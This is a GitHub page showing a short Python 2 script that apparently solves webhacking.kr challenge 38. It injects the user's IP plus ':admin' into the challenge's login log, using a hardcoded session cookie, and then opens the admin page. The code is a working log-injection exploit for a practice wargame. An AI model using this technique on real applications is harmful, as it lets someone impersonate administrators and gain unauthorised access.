-
Notifications
You must be signed in to change notification settings - Fork 0
/
Challenge38.py
56 lines (53 loc) · 1.57 KB
/
Challenge38.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#-*- coding: utf-8 -*-
import urllib
import urllib2
import CookieManager
# Get IP Address
ipAddress = ""
httpConnection = None
print "[+] Find IP Address"
try:
httpRequest = urllib2.Request("https://api.ipify.org")
httpConnection = urllib2.urlopen(httpRequest)
ipAddress = httpConnection.read()
print "[*] Your IP Address is [", ipAddress, "]"
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Logging My Information
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-9/index.php"
parameter = urllib.urlencode({
"id": ipAddress+":admin"
})
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl, parameter)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.get_method = lambda: "POST"
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()
# Login Administrator
challengeUrl = "http://webhacking.kr/challenge/bonus/bonus-9/admin.php"
CookieManager.addCookie("PHPSESSID", "a90f69bdc1cdceaf479ca1ebcd368d29")
httpRequest = urllib2.Request(challengeUrl)
httpRequest.add_header("Cookie", CookieManager.getCookie())
httpRequest.get_method = lambda: "POST"
httpConnection = None
try:
httpConnection = urllib2.urlopen(httpRequest)
httpResponse = httpConnection.read()
print httpResponse
except:
raise
finally:
if httpConnection != None:
httpConnection.close()